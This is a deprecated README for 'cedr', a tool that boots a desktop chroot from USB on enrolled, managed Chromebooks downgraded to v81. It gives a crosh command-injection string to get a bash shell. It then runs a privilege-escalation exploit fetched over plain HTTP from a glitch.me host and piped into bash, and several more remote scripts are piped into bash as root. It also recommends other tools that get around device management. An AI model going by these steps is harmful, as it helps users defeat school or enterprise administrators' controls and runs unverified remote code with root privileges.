cedr is deprecated!
Instead, use a proper solution like fakemurk or murkmod.
cedr
cedr - the ChromeOS Enrolled Desktop Runtime
Requirements
- A Chromebook, downgraded to v81 with crosh access
- A USB drive or SD card, 4gb or more (32gb is reccomended), formatted with a single partition, ext4 filesystem
Installation onto a USB drive
- Open a crosh tab (Ctrl+Alt+T) and get into bash:
crosh
set_cellular_ppp \';bash;exit;\'
- Run the privilege escalation exploit:
bash
bash <(curl http://hostz.glitch.me/80.sh)
- Now, plug in your USB drive/SD card and find the path to its block device. Usually, it'll be /dev/sda if you're using a USB drive, or something different with an SD card. Either way, use the following command to find it (it's usually at the bottom)
bash
fdisk -l
- Once you know the drive you're installing cedr to, you now need to choose a target to install. You can choose from the options here. Each target represents a desktop environment. For this tutorial, I'll use
xfce
as the target, but you can change it to whatever you want:
bash
curl https://raw.githubusercontent.com/rainestorme/cedr/main/cedr-bootstrap.sh | bash -s /dev/sdX xfce
- This will take around 50 minutes and once it's done, it will prompt you for a username and password. Supply these and the chroot will automatically be unmounted. Now, to activate the desktop, run the following:
bash
cd /home/chronos/usbdrv
./cedr-activate.sh
- Now that you're done working within your chroot desktop environment, you can logout of the session using the built-in controls. If you want to unplug the USB drive, wait for the process to finish unmounting, then run the following:
bash
bash <(curl http://raw.githubusercontent.com/rainestorme/cedr/main/cedr-umount.sh)
Usage
After creating a USB drive with cedr, you can remount it and launch the desktop environment with the super-duper-ultra-easy command found below:
curl https://raw.githubusercontent.com/rainestorme/cedr/main/cedr-mount.sh | bash -s /dev/sdX
Once again, replace /dev/sdX with your USB drive/SD card.
Once you're done, just do the same thing as before to unmount your drive:
bash <(curl http://raw.githubusercontent.com/rainestorme/cedr/main/cedr-umount.sh)
Other utilities
cedr-version
Once you're inside of a chroot session, you can open a terminal and run /bin/cedr-version
to see the version of cedr that was used to install the chroot.